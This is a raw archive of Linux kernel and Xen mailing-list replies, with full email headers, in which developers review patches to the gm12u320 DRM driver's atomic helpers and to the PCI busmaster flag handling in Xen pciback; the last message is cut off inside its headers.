	x6jKIuBujQsF48Dg9IbHBFHLcb8AtjYYVF7CF0Yqgtu1jq/nAqmgBkF7lbgpYDKyWJsDCXQ==
X-Gm-Gg: AfdE7cnJJ+ghZ0ncfD7gOnf4MoPEGeSe29xWooK/ii5BDvdyOkaQl7E7Wv4G/22wbri
	Uydo7p+90ZbUGlflx9njK+pkGGtr1Q040Znpz0HVBFCFzMcyEhm9slSVN+sO1WLTd8HAmWfMmDp
	Lj7RHQfT8yjNVsh+iqFZGPhJJuwnbcA8b/pXPLdW8UU0ppIxDjSHWQR/Pn79DECgxnvN9GPcIW5
	EPBQ9Z8Z20DYElqsX73W4WlDcTxSoOqiEdeypWCKAUDag2zw0Qqgeq6EylkRN2Bkx+Tsfz0A1FI
	ffgxxnZ2Bs+7RzRCjuq4Iay9pq569QpMrDtSeEb/4z2bHFD37BfzM/+PJoyQrWOX3KmanOEOveQ
	alC0zfw==
X-Received: by 2002:a05:6300:95:b0:3bf:e2f1:1b08 with SMTP id adf61e73a8af0-3c3ad9717d4mr7925873637.40.1784389339425;
        Sat, 18 Jul 2026 08:42:19 -0700 (PDT)
X-Received: by 2002:a05:6300:95:b0:3bf:e2f1:1b08 with SMTP id adf61e73a8af0-3c3ad9717d4mr7925851637.40.1784389338852;
        Sat, 18 Jul 2026 08:42:18 -0700 (PDT)
Mime-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Sat, 18 Jul 2026 23:42:10 +0800
Message-Id: <DK1T85P7OAAY.RXCY4AX71VRX@oss.qualcomm.com>
Cc: <dri-devel@lists.freedesktop.org>, <linux-kernel@vger.kernel.org>,
        <linux-aspeed@lists.ozlabs.org>,
        <linux-arm-kernel@lists.infradead.org>, <imx@lists.linux.dev>,
        <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v2 5/8] drm/gm12u320: replace struct
 drm_simple_display_pipe with regular atomic helpers
From: "Ze Huang" <ze.huang@oss.qualcomm.com>
To: "Thomas Zimmermann" <tzimmermann@suse.de>,
        "Ze Huang"
 <ze.huang@oss.qualcomm.com>,
        "Alexey Brodkin" <abrodkin@synopsys.com>,
        "Maarten Lankhorst" <maarten.lankhorst@linux.intel.com>,
        "Maxime Ripard"
 <mripard@kernel.org>,
        "David Airlie" <airlied@gmail.com>, "Simona Vetter"
 <simona@ffwll.ch>,
        "Joel Stanley" <joel@jms.id.au>,
        "Andrew Jeffery"
 <andrew@codeconstruct.com.au>,
        "Frank Li" <Frank.Li@nxp.com>,
        "Sascha
 Hauer" <s.hauer@pengutronix.de>,
        "Pengutronix Kernel Team"
 <kernel@pengutronix.de>,
        "Fabio Estevam" <festevam@gmail.com>,
        "Linus
 Walleij" <linusw@kernel.org>,
        "Hans de Goede" <hansg@kernel.org>,
        "Alex
 Lanzano" <lanzano.alex@gmail.com>,
        "Oleksandr Andrushchenko"
 <oleksandr_andrushchenko@epam.com>
X-Mailer: aerc 0.21.0-0-g5549850facc2
References: <20260716-drm-simple-kms-removal-v2-0-1133a8fc3785@oss.qualcomm.com> <20260716-drm-simple-kms-removal-v2-5-1133a8fc3785@oss.qualcomm.com> <26981ae1-4aef-4965-8600-f5e30a1b564a@suse.de>
In-Reply-To: <26981ae1-4aef-4965-8600-f5e30a1b564a@suse.de>
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzE4MDE2MyBTYWx0ZWRfXxUBleYNz9cXC
 AGMtUYWpz34Sanv2xmONJCpIT+zKZBXRJj4KWNtUN3+i8JzF+7ui5YUZY9dZ2V9B2A9vRK05PzX
 CsodY8ZD9+Da0UIOTFmiiQ5gt/nQ9OQPbpEFiss7siAQm6IRppN7Xy3HozrlMfUkix+bpVwhiCl
 fMr7aOIYijlVZdjqYauJkpfVshyosSKekjeBHWX4yEdbE/xsrBqCvoRKRygFAw31ThThMx9DlYE
 OCcN21UJxaIHWmv7fgmfzKQxX/86FMlyN4Lj8EKHoaKL6676+rKHLVlMvXEihDo9/4mS6UOPGVl
 xKdKPe8vGcyQC1Znv5+oxDByMG8qkQlVCGryArgqaV1F3OPlS/4CvAuuOpHZjMiLWzVHSELBKWG
 iX154yBblI1FVe8TtQIH6yoXnWQ50HLQaEENYaQRnMaxMvPk6xs9RqNwLGsjjKTPehePT3zx7L9
 YBQdWnFun8SWl1pkzrQ==
X-Proofpoint-ORIG-GUID: 12bvoK1yx2JNwkIgbQM4_me9vYZscKcW
X-Proofpoint-GUID: 12bvoK1yx2JNwkIgbQM4_me9vYZscKcW
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzE4MDE2MyBTYWx0ZWRfXxnLAL0bPZis7
 J5xWGPHM8k4rsW4PChO8RiNFxO2wqpaNoC/uXrFdPOYqRMgqT3yZECu5zieY3LefNCc+R8Fhlrx
 sleJdj+ztj93H4i+H0EQe9oTEn8samo=
X-Authority-Analysis: v=2.4 cv=deOwG3Xe c=1 sm=1 tr=0 ts=6a5b9edc cx=c_pps
 a=Qgeoaf8Lrialg5Z894R3/Q==:117 a=RQ3dwY0XcLBFaqRX7rIGyg==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=yOCtJkima9RkubShWh1s:22
 a=EUspDBNiAAAA:8 a=ZBS7nKAnUslcPLfxFb0A:9 a=QEXdDO2ut3YA:10
 a=x9snwWr2DeNwDh03kgHS:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-18_04,2026-07-17_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501 spamscore=0 malwarescore=0 clxscore=1015 phishscore=0
 suspectscore=0 impostorscore=0 lowpriorityscore=0 adultscore=0 bulkscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607180163
X-purgate-ID: tlsNG-ebf023/1784389343-52AC8B50-9BE1A51B/0/0
X-purgate-type: clean
X-purgate-size: 2691

On Fri Jul 17, 2026 at 3:18 PM CST, Thomas Zimmermann wrote:
> Hi
>
> Am 16.07.26 um 11:01 schrieb Ze Huang:
>> Convert gm12u320 to direct primary plane, CRTC and encoder setup.
>>
>> Keep shadow-plane helper state, framebuffer access helpers and
>> no-scaling plane-state check from simple-KMS path.
>>
>> Reviewed-by: Thomas Zimmermann <tzimmermann@suse.de>
>> Tested-by: Thomas Zimmermann <tzimmermann@suse.de>
>> Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>
>> ---
>>   drivers/gpu/drm/tiny/gm12u320.c | 132 ++++++++++++++++++++++++++++++++=
--------
>>   1 file changed, 107 insertions(+), 25 deletions(-)
>>
> [...]
>>  =20
>> -static void gm12u320_pipe_enable(struct drm_simple_display_pipe *pipe,
>> -				 struct drm_crtc_state *crtc_state,
>> -				 struct drm_plane_state *plane_state)
>> +static void gm12u320_crtc_helper_atomic_enable(struct drm_crtc *crtc,
>> +					       struct drm_atomic_commit *commit)
>>   {
>>   	struct drm_rect rect =3D { 0, 0, GM12U320_USER_WIDTH, GM12U320_HEIGHT=
 };
>> -	struct gm12u320_device *gm12u320 =3D to_gm12u320(pipe->crtc.dev);
>> +	struct gm12u320_device *gm12u320 =3D to_gm12u320(crtc->dev);
>> +	struct drm_plane_state *plane_state =3D gm12u320->plane.state;
>
> Did you see the reply from the Sashiko bot?
>
> What happens is that user space can apply multiple atomic commits in a=20
> row, but they are applied to hardware asynchronously. So if you take the=
=20
> plane state here directly from the plane, it could have been replaced by=
=20
> a later atomic commit already.=C2=A0 Rather get the correct plane state w=
ith=20
> the helper drm_atomic_get_new_plane_state().
>

I think I misunderstood this point. I had assumed that
drm_atomic_get_*_state() was only needed for the state object directly
matching the helper callback, for example crtc_state in
*_crtc_helper_atomic_enable() and plane_state in
*_plane_helper_atomic_update(), while other state could be accessed via
the device-private structure.

>From your explanation, I see that this is wrong. In the atomic commit
path, any state associated with the current commit should be obtained
through drm_atomic_get_*_state(), because the object=E2=80=99s ->state may
already refer to a later commit.

> I did not look at all of the series' patches for this problem, but the ru=
le
> applies to all of the mode-setting code.
>
> Best regards
> Thomas

This affects other patches in the series as well, and some drivers may
need additional fixes in internal helpers too, e.g. arc_pgu_set_pxl_fmt()
in arcpgu.c [1].

I will audit the full series and fix such cases in the next version.

Best regards
Ze


From xen-devel-bounces@lists.xenproject.org Sat Jul 18 17:03:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sat, 18 Jul 2026 17:03:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365665.1615929 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl8RO-0004dy-1Q; Sat, 18 Jul 2026 17:03:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365665.1615929; Sat, 18 Jul 2026 17:03:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wl8RN-0004dr-Uo; Sat, 18 Jul 2026 17:03:05 +0000
Received: by outflank-mailman (input) for mailman id 1365665;
 Sat, 18 Jul 2026 17:03:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhi@mailbox.org>) id 1wl8RM-0004dl-Uj
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 17:03:04 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wl8RM-002R0A-BK
 for xen-devel@lists.xenproject.org; Sat, 18 Jul 2026 19:03:04 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a5bb176-2eae-0a2a0a5409dd-0a2a4504d31e-28
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 19:03:04 +0200
Received: from [80.241.56.172] (helo=mout-p-202.mailbox.org)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhi@mailbox.org>)
 id 6a5bb1c7-b57f-0a2a45040019-50f138acc6b4-3
 for <xen-devel@lists.xenproject.org>; Sat, 18 Jul 2026 19:03:04 +0200
Received: from smtp202.mailbox.org (smtp202.mailbox.org [10.196.197.202])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange x25519 server-signature RSA-PSS (4096 bits) server-digest SHA512)
 (No client certificate requested)
 by mout-p-202.mailbox.org (Postfix) with ESMTPS id 4h2Y4l0wzyzMlGr;
 Sat, 18 Jul 2026 19:03:03 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"; dkim=pass header.s=mail20150812 header.d=mailbox.org header.i="@mailbox.org" header.h="From:Subject:Date:Message-Id:To:Cc:Mime-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784394183;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Tzj3jkroeJ9qDDBuoFNN5o4ycSfZDKYPcOED/sOa+Lg=;
	b=aln+E3eaDYlrKxaSGm+3XSpYABwLi/lqLzy3Oq/jtOJc9K9Tps6sA48suz7viwG90Zg3Ni
	wqIG+itekNyrfXz+41zykPa4OlzUiIMP3Npkm6+tgr1j6s6Sxj803Pdj+bnrql4LPbTQxi
	j0b0WlVgCzzGEvrRwF6madkNIREjjEKRnzxRGRpu+OKHzuTSRdc2CnLuSKHZm+wo4nVHx6
	mLCmRhYh4q4Mww2gNWrDfXw4IsWJ3r3CW3CCZznwIOeywKFWB6Lks+KbtiNdGHrOkQtdS7
	uaedeQLxKm1WOhJQ4vatK2OWGOtpjlO74CcbJZkQJNAyNWwcvnWj9HYp1wgVow==
Mime-Version: 1.0
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mailbox.org; s=mail20150812;
	t=1784394181;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=Tzj3jkroeJ9qDDBuoFNN5o4ycSfZDKYPcOED/sOa+Lg=;
	b=P1KW0RuF0ntpYj4ZoBCfrMOhMBGzPbYCgUpbaeL1Wn4ib5OzTkiDIDo/p1j3QOU65c+DDl
	iGMhUQy3cTkjNWLuo8iKKT+ZDJE18EYX6SW4ZfihB/7x4xi4VC1spxl05O2kzzblBhd/dv
	kr9sOGx1z2CWIVp/sJMv9IwerysVsW4iinlWh5DvbHiAVPaGkBbHD2ykdKkt9aALllUIDw
	z7S08aSpusUPHeXVQs+zO4vrPaCLygYoUdJ/h6sMHdUvGQn9ruWFdq6gqC06sIV3tpyHsR
	aCIiCttc5Xl16k2AInJyP5fXCPElESzBdgxGOLmlwEhCov3FuZ3RRDBae0IUAA==
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8
Date: Sat, 18 Jul 2026 19:02:51 +0200
Message-Id: <DK1UXXRGW737.2IVTYCHPRM9ET@mailbox.org>
Cc: "Edward Cree" <ecree.xilinx@gmail.com>, "Andrew Lunn"
 <andrew+netdev@lunn.ch>, "David S. Miller" <davem@davemloft.net>, "Eric
 Dumazet" <edumazet@google.com>, "Jakub Kicinski" <kuba@kernel.org>, "Paolo
 Abeni" <pabeni@redhat.com>, "Bjorn Helgaas" <bhelgaas@google.com>, "Justin
 Tee" <justin.tee@broadcom.com>, "Paul Ely" <paul.ely@broadcom.com>, "James
 E.J. Bottomley" <James.Bottomley@hansenpartnership.com>, "Martin K.
 Petersen" <martin.petersen@oracle.com>, "Juergen Gross" <jgross@suse.com>,
 "Stefano Stabellini" <sstabellini@kernel.org>, "Oleksandr Tyshchenko"
 <oleksandr_tyshchenko@epam.com>, "Miguel Ojeda" <ojeda@kernel.org>, "Boqun
 Feng" <boqun@kernel.org>, "Gary Guo" <gary@garyguo.net>,
 =?utf-8?q?Bj=C3=B6rn_Roy_Baron?= <bjorn3_gh@protonmail.com>, "Benno Lossin"
 <lossin@kernel.org>, "Andreas Hindborg" <a.hindborg@kernel.org>, "Alice
 Ryhl" <aliceryhl@google.com>, "Trevor Gross" <tmgross@umich.edu>, "Daniel
 Almeida" <daniel.almeida@collabora.com>, "Tamir Duberstein"
 <tamird@kernel.org>, "Alexandre Courbot" <acourbot@nvidia.com>,
 =?utf-8?q?Onur_=C3=96zkan?= <work@onurozkan.dev>, "Borislav Petkov"
 <bp@alien8.de>, "Tony Luck" <tony.luck@intel.com>, "Danilo Krummrich"
 <dakr@kernel.org>, <rust-for-linux@vger.kernel.org>,
 <netdev@vger.kernel.org>, <linux-net-drivers@amd.com>,
 <linux-kernel@vger.kernel.org>, <linux-pci@vger.kernel.org>,
 <linux-scsi@vger.kernel.org>, <xen-devel@lists.xenproject.org>,
 <linux-edac@vger.kernel.org>
Subject: Re: [PATCH v2] PCI: Move pci_dev->is_busmaster into priv_flags
From: "Maurice Hieronymus" <mhi@mailbox.org>
To: "Lukas Wunner" <lukas@wunner.de>, "Maurice Hieronymus" <mhi@mailbox.org>
References: <20260714-pci-dev-flags-v2-1-a1d7dc441cf3@mailbox.org>
 <alcSjoypegNolW48@wunner.de>
In-Reply-To: <alcSjoypegNolW48@wunner.de>
X-MBO-RS-ID: b5973a326c905eef11a
X-MBO-RS-META: ac7hnh6jjxdgumx33umeygikqfdzbxu6
X-purgate-ID: tlsNG-ebf023/1784394184-502E4B50-5CB2EE2E/0/0
X-purgate-type: clean
X-purgate-size: 1571

On Wed Jul 15, 2026 at 6:54 AM CEST, Lukas Wunner wrote:

> pci_dev_assign_busmaster() should not have public visibility.
> Drivers should really use pci_set_master() / pci_clear_master()
> and nothing else.
>
> It seems Xen is the only one in the tree which needs this:
>
>> +++ b/drivers/xen/xen-pciback/pciback_ops.c
>> @@ -125,14 +125,14 @@ void xen_pcibk_reset_device(struct pci_dev *dev)
>>  		if (pci_is_enabled(dev))
>>  			pci_disable_device(dev);
>> =20
>> -		dev->is_busmaster =3D 0;
>> +		pci_dev_assign_busmaster(dev, false);
>>  	} else {
>>  		pci_read_config_word(dev, PCI_COMMAND, &cmd);
>>  		if (cmd & (PCI_COMMAND_INVALIDATE)) {
>>  			cmd &=3D ~(PCI_COMMAND_INVALIDATE);
>>  			pci_write_config_word(dev, PCI_COMMAND, cmd);
>> =20
>> -			dev->is_busmaster =3D 0;
>> +			pci_dev_assign_busmaster(dev, false);
>>  		}
>>  	}
>>  }
>
> Please change these direct assignments to pci_clear_master(),
> preferably in a separate patch to ease bisecting if anything
> breaks.
This conversion does not preserve behavior. The direct assignments
clear only the software flag, while pci_clear_master() also clears
PCI_COMMAND_MASTER in config space.

I am not an expert on xen devices. That's why I want to clarify first
that this does not break anything. Especially since commit
7681f31ec9cd ("xen/pciback: Don't disable PCI_COMMAND on PCI device
reset.") deliberately removed the PCI_COMMAND write right above the
first assignment, and pci_clear_master() would reintroduce a
PCI_COMMAND write there.

Best,

Maurice


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 00:44:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 00:44:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1365738.1615939 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlFd4-0004e8-1z; Sun, 19 Jul 2026 00:43:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1365738.1615939; Sun, 19 Jul 2026 00:43:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlFd3-0004dw-Sp; Sun, 19 Jul 2026 00:43:37 +0000
Received: by outflank-mailman (input) for mailman id 1365738;
 Sun, 19 Jul 2026 00:43:36 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlFd1-0004dq-BZ
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 00:43:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlFd0-00Ekjp-91
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 02:43:34 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c1cf7-2eae-0a2a0a5409dd-0a2a4505e572-22
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 02:43:32 +0200
Received: from [52.101.125.139]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5c1db1-4cb1-0a2a45050019-34657d8ba413-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 02:43:32 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB4124.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:2cc::6) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.15; Sun, 19 Jul
 2026 00:43:26 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.012; Sun, 19 Jul 2026
 00:43:25 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=lzoQhx5hLVi4r7Qa5axnDaaaNO/Q/t1cah913Uosgz1sZe7eOfEN1uQuljlzGR/ahrth+hcvPELWhaSFWx8iX+6ZlWebGhbBJvdfCDJamIj6M1q8iXBcaucLy7E4aNVgxwURTJK7BFiCuYnxSSGIQFC9voIDF9A+vmqey8ubkl2X0h2FwUvhacNmsBst+MGcHqlUoapCygUdMcKVaSX/GfAmDxr14M+79dbFolGpJpEa8If8vco+bJwhKCtQkp9jKNZ8aAajfs+i9+0RD99fqJyn2LMoySD4Wy34qySY3YioXMDGCbFo0008K6KMQV7cR/ByGKsebQlm8WVTIFwq5Q==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=dgzu3Bu1pfNzbm6mkbFKGzLJhXgLyCskZC6X/tBOrFc=;
 b=lbqeUtbRhCMi2o3hKjavhIK83fDnvhYx4wjmJJHkv164PqQQz7o+/71ku/vu3FsfCkvF0TSzKoeLGfxbNR2g2IZTFfjRCvN6JLMpO+YVfRyiR3dKTnvTzbUZGYcHcY10j9eWe39x/KHLq3KADDUra12CA8lHF2QDl3Vg8E0y7hwGyiJRiUPGlfoFCo1G+3yHbqnrKFaKhQMpZkzCgym5Ftt8B05vBOra2d/O2UeA+N612E2ztMjHO65UgdmGkRUrn0o/pzqrnW6azxRj5rqBanLPYXXtwEfxTVGeygRRd+W6NaZW/hI4qp2kt1UexZsEHsPilwDRcXkovoh0n3h+4w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=dgzu3Bu1pfNzbm6mkbFKGzLJhXgLyCskZC6X/tBOrFc=;
 b=JAoPIHx5EsYB40l+ECrmSOyc69jaKZRfX8dvXAIr5bf+wLNpcSeogXpPmGHxAxKU/0tqpKIP50qlICtsZjtEA9AwpzgkSljvXiAfZa41oO51IVOsX8SURQzgAm0PYuiUf3SdxgDSZkHqxtfHJja0aqD5pdFNMu2BMas1AjbsNsc=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger.pau@citrix.com>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v6 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdE33lRSerj/u3kU6sfibELhxcvrZwIjgAgAPc8jA=
Date: Sun, 19 Jul 2026 00:43:25 +0000
Message-ID:
 <OS9P286MB72226311D2F6D41A627F9D7D82C42@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260714104445.919830-1-taka@valinux.co.jp>
 <20260714104445.919830-2-taka@valinux.co.jp>
 <e7eeeebc-5829-47db-96d0-2f804dcd4356@suse.com>
In-Reply-To: <e7eeeebc-5829-47db-96d0-2f804dcd4356@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|OS9P286MB4124:EE_
x-ms-office365-filtering-correlation-id: a23abced-2b92-4c8e-6954-08dee52ebe60
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|1800799024|366016|376014|7416014|23010399003|22082099003|18002099003|4143699003|3023799007|38070700021|10067099003|56012099006;
x-microsoft-antispam-message-info:
 OFwlEM0HTfq5jur9Ep8oWPcPWCD7S1TmfMD9wzg2Ctu5Rmui9PTPdhzpzxRsmM9dMi7yeTyOGDpuV7XR2gmo9xwg1h0w3PDGqGiYIP5/tDS3TngnapTLsBVGayx6/KOODiH6awvYiX0cLFsLUnnQmRjmr7O/IfnwmCx2fGReObNPFBW11azo+cRud53+ROr3qxwTLeH5mc4ibCMN4A4c6dSj6NeURwGwKvEQZO1xVZTQ/0x0LvfQ2nrwpNmVrupB8lYQuFBJGt/cF6RKsxEkxN3aLAOilTph9WQKkz6OS3qQ/pPKwYsBTz3tlfN/v0dU8IypLmjlpxLtUhthY+dBrrQUChYn5OK0HyCdzwh+2JiQes+sNvcLLWDFFcCDvOqzn95uuG2eZzW+LDHIa68VL0nX+7hTDnTpRyV5UQtBYtVxpEcGAlhA8PjHf/YNOaEKKWKdtdSvPP5a5qnD2bmOgX5QBDYzxFuTs9uswkbKhwximpoL4PDLiMZpPB+TahsN0HXfMAInUN0Z/EGRzOuuJi1N3YqlH9udyIFp4ND2UvG+uQ0gXEosVWBk8P/yvYsVUwTCJfFm5d9x54ZT4eOZewboD9MsNT2U2swdHQv/B4caqoIXWA4PaeoH5xnjHhh/92B8xOnrH1e2aIvjnUFruhxFplMGVQmZJ3zXiaICQccQSFQYI8zek67ZHtxCaVwrySJs8HProf7Bhy/0mGUSyhNsLloA3XxdtkkZ2QJY0GQ=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(1800799024)(366016)(376014)(7416014)(23010399003)(22082099003)(18002099003)(4143699003)(3023799007)(38070700021)(10067099003)(56012099006);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?RkUrVzBNUU9zWVJxLytvNTRKM0pHR3gxM1dmQjRtcmZiR2hjTzl2M2FINGlk?=
 =?utf-8?B?V3FzVmQyVnZQWnhJYWxCQTh4YVI2TGtPU3pOOUE2bGZ2K1hKenhMQTMxRVRR?=
 =?utf-8?B?M25FQm9sR2R3TUhaRU5ISHI4c3lyMEFnY2srU2N3a1BkQ0tUSEgyVUg1R0wr?=
 =?utf-8?B?QUhPOWQ0aldlT0FKTSt2VE5wWWIyaktjeDRETHdyV3E2M3h6eXdsVkxBTmhS?=
 =?utf-8?B?Sk1YbUFCQkhsNDJyVEhkSE5DWXVBbHk1WTdURXV4dGppTnYvTDlmRHg0T0l2?=
 =?utf-8?B?cHMwVGNsbVlBelpQRExBeWN5UlpZTnkrWC9zSE5VTjdFbUFiS0pXaERUeUt4?=
